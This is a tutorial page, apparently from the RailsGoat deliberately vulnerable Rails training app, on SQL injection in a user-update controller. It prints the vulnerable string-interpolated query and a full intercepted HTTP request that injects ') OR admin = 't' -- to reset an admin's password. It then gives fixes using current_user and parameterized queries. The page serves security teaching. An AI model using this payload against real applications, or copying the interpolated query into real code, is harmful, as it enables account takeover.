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        <span class="fs1" aria-hidden="true" data-icon="&#xe092;"></span> A1 - SQL Injection
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              Description
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             <p>
				Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.
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              Bug
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			  <p class="desc">
              This example of SQL Injection also happens to be a form of <%= link_to "Insecure Direct Object Reference", insecure_dor_tutorials_path, {:target => "_blank", :style => "color: rgb(181, 121, 158)"} %> since it uses user-supplied input to determine the user's profile to update. However, we will discuss the SQL query being used and why it is vulnerable.
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			  <p>
				 Within app/controllers/users_controller.rb
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			  <pre class="ruby">
				  def update
				    message = false
				   <span style="background-color:yellow"> user = User.find(:first, :conditions => "user_id = '#{params[:user][:user_id]}'")</span>
				    user.skip_user_id_assign = true
				    user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" })
				    pass = params[:user][:password]
				    user.password = pass if !(pass.blank?)
				    message = true if user.save!
				    respond_to do |format|
				      format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
				      format.json { render :json => {:msg => message ? "success" : "false "} }
				    end
				  end
			  </pre>
			  <p class="desc">
				The injection vulnerability is introduced when user-supplied input is placed within the SQL string that will be executed as a query. The application will not be able to determine which portion of this query is data and which portion is a query as the user input is interpolated or co-mingled with the query string.
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              Solution
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              <p><b>SQL Injection - ATTACK</b></p>
			  <p class="desc">
				You will need to use an intercepting proxy or otherwise modify the request prior to it being received by the application. Browse to account_settings (top right, drop-down). Once at the account settings page, type in passwords, and click submit. Now modify the request from:
			  <p>
			  <pre class="ruby">
				POST /users/5.json HTTP/1.1
				Host: railsgoat.dev
				User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
				Accept: */*
				Accept-Language: en-US,en;q=0.5
				Accept-Encoding: gzip, deflate
				Content-Type: application/x-www-form-urlencoded; charset=UTF-8
				X-Requested-With: XMLHttpRequest
				Referer: http://railsgoat.dev/users/5/account_settings
				Content-Length: 294
				Cookie: _railsgoat_session=[redacted]
				Connection: keep-alive
				Pragma: no-cache
				Cache-Control: no-cache
						utf8=â&_method=put&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&<span style="background-color: yellow"> user[user_id]=5</span>&user[email]=ken@metacorp.com&user[first_name]=Ken&user[last_name]=Johnson&user[password]=testtest&user[password_confirmation]=testtest
			  </pre>
			   <p class="desc">
				Now we will inject some SQL Query syntax that will return the first result of a query that looks for users that have an admin attribute that is true. So essentially, instead of looking up the user whose data we will change by our user ID, we tell the database to return the first admin and update their data. In this instance, we are changing admin@metacorp.com's password to testtest. We can later login as that user. Granted, we could just change the user_id to 1 and do the same thing, and there are other ways to exploit this weakness but this is a clear-cut example of SQL Injection.
			   </p>	
			   <pre class="ruby">
				POST /users/5.json HTTP/1.1
				Host: railsgoat.dev
				User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
				Accept: */*
				Accept-Language: en-US,en;q=0.5
				Accept-Encoding: gzip, deflate
				Content-Type: application/x-www-form-urlencoded; charset=UTF-8
				X-Requested-With: XMLHttpRequest
				Referer: http://railsgoat.dev/users/5/account_settings
				Content-Length: 208
				Cookie: _railsgoat_session=[redacted]
				Connection: keep-alive
				Pragma: no-cache
				Cache-Control: no-cache

				utf8=â&_method=put&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&<span style="background:yellow">user[user_id]=5') OR admin = 't' --'")</span>&user[password]=testtest1&user[password_confirmation]=testtest1
			   </pre>			 
			  <p><b>SQL Injection - SOLUTION</b></p>
			  <p class="desc">
				In this instance, the more secure route would be to reference the current_user object versus pulling from the database manually, using POST parameters provided by the user.<br/><br/>
			  </p>
			  <pre class="ruby">
				  def update
				    message = false
				    <span style="background-color:yellow">user = current_user</span>
				   
				    user.skip_user_id_assign = true
				    user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" })
				    pass = params[:user][:password]
				    user.password = pass if !(pass.blank?)
				    message = true if user.save!
				    respond_to do |format|
				      format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
				      format.json { render :json => {:msg => message ? "success" : "false "} }
				    end
				  end
			  </pre>
			  <p class="desc">
				...However, since we are discussing fixing vulnerable SQL queries, let's discuss parameterized queries. Parameterized queries separate the SQL Query from the dynamic and often untrusted data. You could replace the string interpolated value with the following query and effectively separate the query from untrusted data:
			  </p>
			  <pre class="ruby">
				user = User.find(:first, :conditions => ["user_id = ?", "#{params[:user][:user_id]}"])
			  </pre>			 
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              Hint
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              I wonder who else's account needs updating?
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